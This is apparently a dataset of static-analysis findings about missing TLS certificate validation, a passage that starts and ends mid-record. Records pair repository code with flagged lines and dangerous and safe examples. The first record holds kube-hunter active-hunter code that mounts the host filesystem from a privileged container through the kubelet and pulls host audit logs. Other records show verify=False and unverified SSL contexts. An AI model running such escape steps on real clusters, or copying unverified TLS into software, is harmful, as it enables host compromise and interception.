command_line.split(\" \"):\n # Check for variable-definition commands as there can be commands which don't define variables.\n if \"=\" in command:\n split = command.split(\"=\")\n if split[0] == \"root\":\n if len(split) > 2:\n # Potential valid scenario: root=LABEL=example\n root_value_type = split[1] + \"=\"\n root_value = split[2]\n\n return root_value, root_value_type\n else:\n root_value_type = \"\"\n root_value = split[1]\n\n return root_value, root_value_type\n\n return None, None\n\n def process_exposed_existing_privileged_container(\n self,\n run_request_url,\n number_of_umount_attempts,\n number_of_rmdir_attempts,\n seconds_to_wait_for_os_command,\n directory_to_create=None,\n ):\n if directory_to_create is None:\n directory_to_create = \"/kube-hunter_\" + str(uuid.uuid1())\n\n # /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.\n command_line = self.cat_command(run_request_url, \"/proc/cmdline\")\n\n if ProveAnonymousAuth.has_no_error_nor_exception(command_line):\n if len(command_line.split(\" \")) > 0:\n root_value, root_value_type = self.get_root_values(command_line)\n\n # Move forward only when the \"root\" variable value was actually defined.\n if root_value:\n if root_value_type:\n file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)\n else:\n file_system_or_partition = root_value\n\n if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):\n directory_created = self.mkdir_command(run_request_url, directory_to_create)\n\n if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):\n directory_created = directory_to_create\n\n mounted_file_system_or_partition = self.mount_command(\n run_request_url, file_system_or_partition, directory_created\n )\n\n if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):\n host_name = self.cat_command(run_request_url, f\"{directory_created}/etc/hostname\")\n\n if ProveAnonymousAuth.has_no_error_nor_exception(host_name):\n return {\n \"result\": True,\n \"file_system_or_partition\": file_system_or_partition,\n \"directory_created\": directory_created,\n }\n\n self.umount_command(\n run_request_url,\n file_system_or_partition,\n directory_created,\n number_of_umount_attempts,\n seconds_to_wait_for_os_command,\n )\n\n self.rmdir_command(\n run_request_url,\n directory_created,\n number_of_rmdir_attempts,\n seconds_to_wait_for_os_command,\n )\n\n return {\"result\": False}\n\n def execute(self, directory_to_create=None, file_name=None):\n temp_message = \"\"\n\n for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:\n pod_namespace = exposed_existing_privileged_containers[\"pod_namespace\"]\n pod_id = exposed_existing_privileged_containers[\"pod_id\"]\n container_name = exposed_existing_privileged_containers[\"container_name\"]\n\n run_request_url = self.base_url + f\"run/{pod_namespace}/{pod_id}/{container_name}\"\n\n is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(\n run_request_url,\n self.number_of_umount_attempts,\n self.number_of_rmdir_attempts,\n self.seconds_to_wait_for_os_command,\n directory_to_create,\n )\n\n if is_exposed_existing_privileged_container_privileged[\"result\"]:\n file_system_or_partition = is_exposed_existing_privileged_container_privileged[\n \"file_system_or_partition\"\n ]\n directory_created = is_exposed_existing_privileged_container_privileged[\"directory_created\"]\n\n # Execute attack attempt: start/modify process in host.\n attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(\n run_request_url,\n directory_created,\n self.number_of_rm_attempts,\n self.seconds_to_wait_for_os_command,\n file_name,\n )\n\n if attack_successful_on_exposed_privileged_container[\"result\"]:\n file_created = attack_successful_on_exposed_privileged_container[\"file_created\"]\n\n self.clean_attacked_exposed_existing_privileged_container(\n run_request_url,\n file_system_or_partition,\n directory_created,\n file_created,\n self.number_of_rm_attempts,\n self.number_of_umount_attempts,\n self.number_of_rmdir_attempts,\n self.seconds_to_wait_for_os_command,\n )\n\n temp_message += \"\\n\\nPod namespace: {}\\n\\nPod ID: {}\\n\\nContainer name: {}\".format(\n pod_namespace, pod_id, container_name\n )\n\n if temp_message:\n message = (\n \"The following exposed existing privileged containers\"\n + \" have been successfully abused by starting/modifying a process in the host.\"\n + temp_message\n )\n\n self.event.evidence = f\"{message}\"\n else:\n message = (\n \"The following exposed existing privileged containers\"\n + \" were not successfully abused by starting/modifying a process in the host.\"\n + \"Keep in mind that attackers might use other methods to attempt to abuse them.\"\n + temp_message\n )\n\n self.event.evidence = f\"{message}\"\n\n\n@handler.subscribe(ExposedRunHandler)\nclass ProveRunHandler(ActiveHunter):\n \"\"\"Kubelet Run Hunter\n Executes uname inside of a random container\n \"\"\"\n\n def __init__(self, event):\n self.event = event\n self.base_path = f\"https://{self.event.host}:{self.event.port}\"\n\n def run(self, command, container):\n config = get_config()\n run_url = KubeletHandlers.RUN.value.format(\n pod_namespace=container[\"namespace\"],\n pod_id=container[\"pod\"],\n container_name=container[\"name\"],\n cmd=command,\n )\n return self.event.session.post(\n f\"{self.base_path}/{run_url}\",\n verify=False,\n timeout=config.network_timeout,\n ).text\n\n def execute(self):\n config = get_config()\n r = self.event.session.get(\n f\"{self.base_path}/\" + KubeletHandlers.PODS.value,\n verify=False,\n timeout=config.network_timeout,\n )\n if \"items\" in r.text:\n pods_data = r.json()[\"items\"]\n for pod_data in pods_data:\n container_data = pod_data[\"spec\"][\"containers\"][0]\n if container_data:\n output = self.run(\n \"uname -a\",\n container={\n \"namespace\": pod_data[\"metadata\"][\"namespace\"],\n \"pod\": pod_data[\"metadata\"][\"name\"],\n \"name\": container_data[\"name\"],\n },\n )\n if output and \"exited with\" not in output:\n self.event.evidence = \"uname -a: \" + output\n break\n\n\n@handler.subscribe(ExposedContainerLogsHandler)\nclass ProveContainerLogsHandler(ActiveHunter):\n \"\"\"Kubelet Container Logs Hunter\n Retrieves logs from a random container\n \"\"\"\n\n def __init__(self, event):\n self.event = event\n protocol = \"https\" if self.event.port == 10250 else \"http\"\n self.base_url = f\"{protocol}://{self.event.host}:{self.event.port}/\"\n\n def execute(self):\n config = get_config()\n pods_raw = self.event.session.get(\n self.base_url + KubeletHandlers.PODS.value,\n verify=False,\n timeout=config.network_timeout,\n ).text\n if \"items\" in pods_raw:\n pods_data = json.loads(pods_raw)[\"items\"]\n for pod_data in pods_data:\n container_data = pod_data[\"spec\"][\"containers\"][0]\n if container_data:\n container_name = container_data[\"name\"]\n output = requests.get(\n f\"{self.base_url}/\"\n + KubeletHandlers.CONTAINERLOGS.value.format(\n pod_namespace=pod_data[\"metadata\"][\"namespace\"],\n pod_id=pod_data[\"metadata\"][\"name\"],\n container_name=container_name,\n ),\n verify=False,\n timeout=config.network_timeout,\n )\n if output.status_code == 200 and output.text:\n self.event.evidence = f\"{container_name}: {output.text}\"\n return\n\n\n@handler.subscribe(ExposedSystemLogs)\nclass ProveSystemLogs(ActiveHunter):\n \"\"\"Kubelet System Logs Hunter\n Retrieves commands from host's system audit\n \"\"\"\n\n def __init__(self, event):\n self.event = event\n self.base_url = f\"https://{self.event.host}:{self.event.port}\"\n\n def execute(self):\n config = get_config()\n audit_logs = self.event.session.get(\n f\"{self.base_url}/\" + KubeletHandlers.LOGS.value.format(path=\"audit/audit.log\"),\n verify=False,\n timeout=config.network_timeout,\n )\n\n # TODO: add more methods for proving system logs\n if audit_logs.status_code == requests.status_codes.codes.OK:\n logger.debug(f\"Audit log of host {self.event.host}: {audit_logs.text[:10]}\")\n # iterating over proctitles and converting them into readable strings\n proctitles = []\n for proctitle in re.findall(r\"proctitle=(\\w+)\", audit_logs.text):\n proctitles.append(bytes.fromhex(proctitle).decode(\"utf-8\").replace(\"\\x00\", \" \"))\n self.event.proctitles = proctitles\n self.event.evidence = f\"audit log: {proctitles}\"\n else:\n self.event.evidence = \"Could not parse system logs\"", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 282, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "4e135eb91e74368c4e1bfb493703a3a606b09248e40d5d431cc08f42648ab1b8", "license": {"spdx": ["BSD-2-Clause"], "repo": "timeu/gwaportal-hpc-pipeline", "path": "gwaportal_hpc_pipeline/rest.py", "repo_head_hexsha": "7cda411129a72e83d13f63c3cb8bdc0c032e2e1f", "stack_hexsha": "9cb668e395dc4f4e4c850a63c703d8800f188709", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 14, "entireCode": "import requests\nimport shutil\nimport tempfile\n\nclass Restclient(object):\n\n def __init__(self,host,username,password):\n self.host = host\n self.auth = (username,password)\n\n def get_phenotype_data(self,studyid):\n headers = {'Accept':'application/json'}\n URL = '%s/provider/study/%s/studygwasdata' % (self.host,studyid)\n r = requests.get(URL,headers=headers,auth=self.auth, verify=False)\n if r.status_code == 200:\n return r.json()\n raise Exception(r.text)\n\n def get_candidate_genes(self,candidate_gene_id):\n headers = {'Accept':'application/json'}\n URL = '%s/provider/candidategenelist/%s/genes' % (self.host,candidate_gene_id)\n r = requests.get(URL,headers=headers,auth=self.auth, verify=False)\n if r.status_code == 200:\n return r.json()\n raise Exception(r.text)\n", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6. requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9. ctx3 = ssl.create_default_context()\n10. ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13. ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6. requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9. ctx = ssl.create_default_context()\n10. ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13. ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14. ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16. ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "e3fb176117d7b330f037a9c0216b3fed14ef6b6ca7259717242c4c7931edbff9", "license": {"spdx": ["BSD-3-Clause"], "repo": "nordme/expyfun", "path": "expyfun/_utils.py", "repo_head_hexsha": "e644bba8cbfb6edd2a076099536417d4854d64af", "stack_hexsha": "9c7c4de6be5e48f9c89afdf0a57351e2ebf01e66", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 527, "entireCode": "\"\"\"Some utility functions\"\"\"\n\n# Authors: <>\n#\n# License: BSD (3-clause)\n\nimport warnings\nimport operator\nfrom copy import deepcopy\nimport subprocess\nimport importlib\nimport os\nimport os.path as op\nimport inspect\nimport sys\nimport tempfile\nimport ssl\nfrom shutil import rmtree\nimport atexit\nimport json\nfrom functools import partial\nfrom distutils.version import LooseVersion\nfrom numpy import sqrt, convolve, ones\nimport logging\nimport datetime\nfrom timeit import default_timer as clock\nfrom threading import Timer\n\nimport numpy as np\nimport scipy as sp\n\nfrom ._externals import decorator\n\n# set this first thing to make sure it \"takes\"\ntry:\n import pyglet\n pyglet.options['debug_gl'] = False\n del pyglet\nexcept Exception:\n pass\n\n\n# for py3k (eventually)\nif sys.version.startswith('2'):\n string_types = basestring # noqa\n input = raw_input # noqa, input is raw_input in py3k\n text_type = unicode # noqa\n from __builtin__ import reload\n from urllib2 import urlopen # noqa\n from cStringIO import StringIO # noqa\nelse:\n string_types = str\n text_type = str\n from urllib.request import urlopen\n input = input\n from io import StringIO # noqa, analysis:ignore\n from importlib import reload # noqa, analysis:ignore\n\n###############################################################################\n# LOGGING\n\nEXP = 25\nlogging.addLevelName(EXP, 'EXP')\n\n\ndef exp(self, message, *args, **kwargs):\n \"\"\"Experiment-level logging.\"\"\"\n self.log(EXP, message, *args, **kwargs)\n\n\nlogging.Logger.exp = exp\nlogger = logging.getLogger('expyfun')\n\n\ndef flush_logger():\n \"\"\"Flush expyfun logger\"\"\"\n for handler in logger.handlers:\n handler.flush()\n\n\ndef set_log_level(verbose=None, return_old_level=False):\n \"\"\"Convenience function for setting the logging level\n\n Parameters\n ----------\n verbose : bool, str, int, or None\n The verbosity of messages to print. If a str, it can be either DEBUG,\n INFO, WARNING, ERROR, or CRITICAL. Note that these are for\n convenience and are equivalent to passing in logging.DEBUG, etc.\n For bool, True is the same as 'INFO', False is the same as 'WARNING'.\n If None, the environment variable EXPYFUN_LOGGING_LEVEL is read, and if\n it doesn't exist, defaults to INFO.\n return_old_level : bool\n If True, return the old verbosity level.\n \"\"\"\n if verbose is None:\n verbose = get_config('EXPYFUN_LOGGING_LEVEL', 'INFO')\n elif isinstance(verbose, bool):\n verbose = 'INFO' if verbose is True else 'WARNING'\n if isinstance(verbose, string_types):\n verbose = verbose.upper()\n logging_types = dict(DEBUG=logging.DEBUG, INFO=logging.INFO,\n WARNING=logging.WARNING, ERROR=logging.ERROR,\n CRITICAL=logging.CRITICAL)\n if verbose not in logging_types:\n raise ValueError('verbose must be of a valid type')\n verbose = logging_types[verbose]\n\n old_verbose = logger.level\n logger.setLevel(verbose)\n return (old_verbose if return_old_level else None)\n\n\ndef set_log_file(fname=None,\n output_format='%(asctime)s - %(levelname)-7s - %(message)s',\n overwrite=None):\n \"\"\"Convenience function for setting the log to print to a file\n\n Parameters\n ----------\n fname : str, or None\n Filename of the log to print to. If None, stdout is used.\n To suppress log outputs, use set_log_level('WARN').\n output_format : str\n Format of the output messages. See the following for examples:\n http://docs.python.org/dev/howto/logging.html\n e.g., \"%(asctime)s - %(levelname)s - %(message)s\".\n overwrite : bool, or None\n Overwrite the log file (if it exists). Otherwise, statements\n will be appended to the log (default). None is the same as False,\n but additionally raises a warning to notify the user that log\n entries will be appended.\n \"\"\"\n handlers = logger.handlers\n for h in handlers:\n if isinstance(h, logging.FileHandler):\n h.close()\n logger.removeHandler(h)\n if fname is not None:\n if op.isfile(fname) and overwrite is None:\n warnings.warn('Log entries will be appended to the file. Use '\n 'overwrite=False to avoid this message in the '\n 'future.')\n mode = 'w' if overwrite is True else 'a'\n lh = logging.FileHandler(fname, mode=mode)\n else:\n \"\"\" we should just be able to do:\n lh = logging.StreamHandler(sys.stdout)\n but because doctests uses some magic on stdout, we have to do this:\n \"\"\"\n lh = logging.StreamHandler(WrapStdOut())\n\n lh.setFormatter(logging.Formatter(output_format))\n # actually add the stream handler\n logger.addHandler(lh)\n\n\n###############################################################################\n# RANDOM UTILITIES\n\nbuilding_doc = any('sphinx-build' in ((''.join(i[4]).lower() + i[1])\n if i[4] is not None else '')\n for i in inspect.stack())\n\n\ndef run_subprocess(command, **kwargs):\n \"\"\"Run command using subprocess.Popen\n\n Run command and wait for command to complete. If the return code was zero\n then return, otherwise raise CalledProcessError.\n By default, this will also add stdout= and stderr=subproces.PIPE\n to the call to Popen to suppress printing to the terminal.\n\n Parameters\n ----------\n command : list of str\n Command to run as subprocess (see subprocess.Popen documentation).\n **kwargs : objects\n Keywoard arguments to pass to ``subprocess.Popen``.\n\n Returns\n -------\n stdout : str\n Stdout returned by the process.\n stderr : str\n Stderr returned by the process.\n \"\"\"\n # code adapted with permission from mne-python\n kw = dict(stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n kw.update(kwargs)\n\n p = subprocess.Popen(command, **kw)\n stdout_, stderr = p.communicate()\n\n output = (stdout_.decode(), stderr.decode())\n if p.returncode:\n err_fun = subprocess.CalledProcessError.__init__\n if 'output' in _get_args(err_fun):\n raise subprocess.CalledProcessError(p.returncode, command, output)\n else:\n raise subprocess.CalledProcessError(p.returncode, command)\n\n return output\n\n\nclass ZeroClock(object):\n \"\"\"Clock that uses \"clock\" function but starts at zero on init.\"\"\"\n\n def __init__(self):\n self._start_time = clock()\n\n def get_time(self):\n \"\"\"Get time.\"\"\"\n return clock() - self._start_time\n\n\ndef date_str():\n \"\"\"Produce a date string for the current date and time\n\n Returns\n -------\n datestr : str\n The date string.\n \"\"\"\n return str(datetime.datetime.today()).replace(':', '_')\n\n\nclass WrapStdOut(object):\n \"\"\"Ridiculous class to work around how doctest captures stdout.\"\"\"\n\n def __getattr__(self, name):\n # Even more ridiculous than this class, this must be sys.stdout (not\n # just stdout) in order for this to work (tested on OSX and Linux)\n return getattr(sys.stdout, name)\n\n\nclass _TempDir(str):\n \"\"\"Class for creating and auto-destroying temp dir\n\n This is designed to be used with testing modules.\n\n We cannot simply use __del__() method for cleanup here because the rmtree\n function may be cleaned up before this object, so we use the atexit module\n instead. Passing del_after and print_del kwargs to the constructor are\n helpful primarily for debugging purposes.\n \"\"\"\n\n def __new__(self, del_after=True, print_del=False):\n new = str.__new__(self, tempfile.mkdtemp())\n self._del_after = del_after\n self._print_del = print_del\n return new\n\n def __init__(self):\n self._path = self.__str__()\n atexit.register(self.cleanup)\n\n def cleanup(self):\n if self._del_after is True:\n if self._print_del is True:\n print('Deleting {} ...'.format(self._path))\n rmtree(self._path, ignore_errors=True)\n\n\ndef check_units(units):\n \"\"\"Ensure user passed valid units type\n\n Parameters\n ----------\n units : str\n Must be ``'norm'``, ``'deg'``, or ``'pix'``.\n \"\"\"\n good_units = ['norm', 'pix', 'deg']\n if units not in good_units:\n raise ValueError('\"units\" must be one of {}, not {}'\n ''.format(good_units, units))\n\n\n###############################################################################\n# DECORATORS\n\n# Following deprecated class copied from scikit-learn\n\nclass deprecated(object):\n \"\"\"Decorator to mark a function or class as deprecated.\n\n Issue a warning when the function is called/the class is instantiated and\n adds a warning to the docstring.\n\n The optional extra argument will be appended to the deprecation message\n and the docstring. Note: to use this with the default value for extra, put\n in an empty of parentheses:\n\n >>> from expyfun._utils import deprecated\n >>> deprecated() # doctest: +ELLIPSIS\n \n\n >>> @deprecated()\n ... def some_function(): pass\n \"\"\"\n\n # Adapted from http://wiki.python.org/moin/PythonDecoratorLibrary,\n # but with many changes.\n\n # scikit-learn will not import on all platforms b/c it can be\n # sklearn or scikits.learn, so a self-contained example is used above\n\n def __init__(self, extra=''):\n \"\"\"\n Parameters\n ----------\n extra: string\n to be added to the deprecation messages\n\n \"\"\"\n self.extra = extra\n\n def __call__(self, obj):\n \"\"\"Call.\"\"\"\n if isinstance(obj, type):\n return self._decorate_class(obj)\n else:\n return self._decorate_fun(obj)\n\n def _decorate_class(self, cls):\n msg = \"Class %s is deprecated\" % cls.__name__\n if self.extra:\n msg += \"; %s\" % self.extra\n\n # FIXME: we should probably reset __new__ for full generality\n init = cls.__init__\n\n def wrapped(*args, **kwargs):\n warnings.warn(msg, category=DeprecationWarning)\n return init(*args, **kwargs)\n cls.__init__ = wrapped\n\n wrapped.__name__ = '__init__'\n wrapped.__doc__ = self._update_doc(init.__doc__)\n wrapped.deprecated_original = init\n\n return cls\n\n def _decorate_fun(self, fun):\n \"\"\"Decorate function fun\"\"\"\n msg = \"Function %s is deprecated\" % fun.__name__\n if self.extra:\n msg += \"; %s\" % self.extra\n\n def wrapped(*args, **kwargs):\n warnings.warn(msg, category=DeprecationWarning)\n return fun(*args, **kwargs)\n\n wrapped.__name__ = fun.__name__\n wrapped.__dict__ = fun.__dict__\n wrapped.__doc__ = self._update_doc(fun.__doc__)\n\n return wrapped\n\n def _update_doc(self, olddoc):\n newdoc = \"DEPRECATED\"\n if self.extra:\n newdoc = \"%s: %s\" % (newdoc, self.extra)\n if olddoc:\n newdoc = \"%s\\n\\n%s\" % (newdoc, olddoc)\n return newdoc\n\n\nif hasattr(inspect, 'signature'): # py35\n def _get_args(function, varargs=False):\n params = inspect.signature(function).parameters\n args = [key for key, param in params.items()\n if param.kind not in (param.VAR_POSITIONAL, param.VAR_KEYWORD)]\n if varargs:\n varargs = [param.name for param in params.values()\n if param.kind == param.VAR_POSITIONAL]\n if len(varargs) == 0:\n varargs = None\n return args, varargs\n else:\n return args\nelse:\n def _get_args(function, varargs=False):\n out = inspect.getargspec(function) # args, varargs, keywords, defaults\n if varargs:\n return out[:2]\n else:\n return out[0]\n\n\n@decorator\ndef verbose_dec(function, *args, **kwargs):\n \"\"\"Improved verbose decorator to allow functions to override log-level\n\n Do not call this directly to set global verbosrity level, instead use\n set_log_level().\n\n Parameters\n ----------\n function : callable\n Function to be decorated by setting the verbosity level.\n\n Returns\n -------\n dec - function\n The decorated function\n \"\"\"\n arg_names = _get_args(function)\n\n if len(arg_names) > 0 and arg_names[0] == 'self':\n default_level = getattr(args[0], 'verbose', None)\n else:\n default_level = None\n\n if('verbose' in arg_names):\n verbose_level = args[arg_names.index('verbose')]\n else:\n verbose_level = default_level\n\n if verbose_level is not None:\n old_level = set_log_level(verbose_level, True)\n # set it back if we get an exception\n try:\n ret = function(*args, **kwargs)\n except Exception:\n set_log_level(old_level)\n raise\n set_log_level(old_level)\n return ret\n else:\n ret = function(*args, **kwargs)\n return ret\n\n\ndef _new_pyglet():\n import pyglet\n return LooseVersion(pyglet.version) >= LooseVersion('1.4')\n\n\ndef _has_video():\n if _new_pyglet():\n try:\n from pyglet.media.codecs.ffmpeg import FFmpegSource # noqa\n except ImportError:\n return False\n else:\n try:\n from pyglet.media.avbin import AVbinSource # noqa\n except ImportError:\n try:\n from pyglet.media.sources.avbin import AVbinSource # noqa\n except ImportError:\n return False\n return True\n\n\ndef requires_video():\n \"\"\"Requires FFmpeg/AVbin decorator.\"\"\"\n import pytest\n return pytest.mark.skipif(not _has_video(), reason='Requires FFmpeg/AVbin')\n\n\ndef requires_opengl21(func):\n \"\"\"Requires OpenGL decorator.\"\"\"\n import pytest\n import pyglet.gl\n vendor = pyglet.gl.gl_info.get_vendor()\n version = pyglet.gl.gl_info.get_version()\n sufficient = pyglet.gl.gl_info.have_version(2, 0)\n return pytest.mark.skipif(not sufficient,\n reason='OpenGL too old: %s %s'\n % (vendor, version,))(func)\n\n\ndef requires_lib(lib):\n \"\"\"Requires lib decorator.\"\"\"\n import pytest\n try:\n importlib.import_module(lib)\n except Exception as exp:\n val = True\n reason = 'Needs %s (%s)' % (lib, exp)\n else:\n val = False\n reason = ''\n return pytest.mark.skipif(val, reason=reason)\n\n\ndef _has_scipy_version(version):\n return (LooseVersion(sp.__version__) >= LooseVersion(version))\n\n\ndef _get_user_home_path():\n \"\"\"Return standard preferences path\"\"\"\n # this has been checked on OSX64, Linux64, and Win32\n val = os.getenv('APPDATA' if 'nt' == os.name.lower() else 'HOME', None)\n if val is None:\n raise ValueError('expyfun config file path could '\n 'not be determined, please report this '\n 'error to expyfun developers')\n return val\n\n\ndef fetch_data_file(fname):\n \"\"\"Fetch example remote file\n\n Parameters\n ----------\n fname : str\n The remote filename to get. If the filename already exists\n on the local system, the file will not be fetched again.\n\n Returns\n -------\n fname : str\n The filename on the local system where the file was downloaded.\n \"\"\"\n path = get_config('EXPYFUN_DATA_PATH', op.join(_get_user_home_path(),\n '.expyfun', 'data'))\n fname_out = op.join(path, fname)\n if not op.isdir(op.dirname(fname_out)):\n os.makedirs(op.dirname(fname_out))\n fname_url = ('https://github.com/LABSN/expyfun-data/raw/master/{0}'\n ''.format(fname))\n try:\n # until we get proper certificates\n context = ssl._create_unverified_context()\n this_urlopen = partial(urlopen, context=context)\n except AttributeError:\n context = None\n this_urlopen = urlopen\n if not op.isfile(fname_out):\n try:\n with open(fname_out, 'wb') as fid:\n www = this_urlopen(fname_url, timeout=30.0)\n try:\n fid.write(www.read())\n finally:\n www.close()\n except Exception:\n os.remove(fname_out)\n raise\n return fname_out\n\n\ndef get_config_path():\n r\"\"\"Get path to standard expyfun config file.\n\n Returns\n -------\n config_path : str\n The path to the expyfun configuration file. On windows, this\n will be '%APPDATA%\\.expyfun\\expyfun.json'. On every other\n system, this will be $HOME/.expyfun/expyfun.json.\n \"\"\"\n val = op.join(_get_user_home_path(), '.expyfun', 'expyfun.json')\n return val\n\n\n# List the known configuration values\nknown_config_types = ('RESPONSE_DEVICE',\n 'AUDIO_CONTROLLER',\n 'DB_OF_SINE_AT_1KHZ_1RMS',\n 'EXPYFUN_EYELINK',\n 'SOUND_CARD_API',\n 'SOUND_CARD_BACKEND',\n 'SOUND_CARD_FS',\n 'SOUND_CARD_NAME',\n 'SOUND_CARD_FIXED_DELAY',\n 'TDT_CIRCUIT_PATH',\n 'TDT_DELAY',\n 'TDT_INTERFACE',\n 'TDT_MODEL',\n 'TDT_TRIG_DELAY',\n 'TRIGGER_CONTROLLER',\n 'TRIGGER_ADDRESS',\n 'WINDOW_SIZE',\n 'SCREEN_NUM',\n 'SCREEN_WIDTH',\n 'SCREEN_DISTANCE',\n 'SCREEN_SIZE_PIX',\n 'EXPYFUN_LOGGING_LEVEL',\n )\n\n# These allow for partial matches: 'NAME_1' is okay key if 'NAME' is listed\nknown_config_wildcards = ()\n\n\ndef get_config(key=None, default=None, raise_error=False):\n \"\"\"Read expyfun preference from env, then expyfun config\n\n Parameters\n ----------\n key : str\n The preference key to look for. The os environment is searched first,\n then the expyfun config file is parsed.\n default : str | None\n Value to return if the key is not found.\n raise_error : bool\n If True, raise an error if the key is not found (instead of returning\n default).\n\n Returns\n -------\n value : str | None\n The preference key value.\n \"\"\"\n if key is not None and not isinstance(key, string_types):\n raise ValueError('key must be a string')\n\n # first, check to see if key is in env\n if key is not None and key in os.environ:\n return os.environ[key]\n\n # second, look for it in expyfun config file\n config_path = get_config_path()\n if not op.isfile(config_path):\n key_found = False\n val = default\n else:\n with open(config_path, 'r') as fid:\n config = json.load(fid)\n if key is None:\n return config\n key_found = True if key in config else False\n val = config.get(key, default)\n\n if not key_found and raise_error is True:\n meth_1 = 'os.environ[\"%s\"] = VALUE' % key\n meth_2 = 'expyfun.utils.set_config(\"%s\", VALUE)' % key\n raise KeyError('Key \"%s\" not found in environment or in the '\n 'expyfun config file:\\n%s\\nTry either:\\n'\n ' %s\\nfor a temporary solution, or:\\n'\n ' %s\\nfor a permanent one. You can also '\n 'set the environment variable before '\n 'running python.'\n % (key, config_path, meth_1, meth_2))\n return val\n\n\ndef set_config(key, value):\n \"\"\"Set expyfun preference in config\n\n Parameters\n ----------\n key : str | None\n The preference key to set. If None, a tuple of the valid\n keys is returned, and ``value`` is ignored.\n value : str | None\n The value to assign to the preference key. If None, the key is\n deleted.\n \"\"\"\n if key is None:\n return sorted(known_config_types)\n if not isinstance(key, string_types):\n raise ValueError('key must be a string')\n # While JSON allow non-string types, we allow users to override config\n # settings using env, which are strings, so we enforce that here\n if not isinstance(value, string_types) and value is not None:\n raise ValueError('value must be a string or None')\n if key not in known_config_types and not \\\n any(k in key for k in known_config_wildcards):\n warnings.warn('Setting non-standard config type: \"%s\"' % key)\n\n # Read all previous values\n config_path = get_config_path()\n if op.isfile(config_path):\n with open(config_path, 'r') as fid:\n config = json.load(fid)\n else:\n config = dict()\n logger.info('Attempting to create new expyfun configuration '\n 'file:\\n%s' % config_path)\n if value is None:\n config.pop(key, None)\n else:\n config[key] = value\n\n # Write all values\n directory = op.split(config_path)[0]\n if not op.isdir(directory):\n os.mkdir(directory)\n with open(config_path, 'w') as fid:\n json.dump(config, fid, sort_keys=True, indent=0)\n\n\n###############################################################################\n# MISC\n\n\ndef fake_button_press(ec, button='1', delay=0.):\n \"\"\"Fake a button press after a delay\n\n Notes\n -----\n This function only works with the 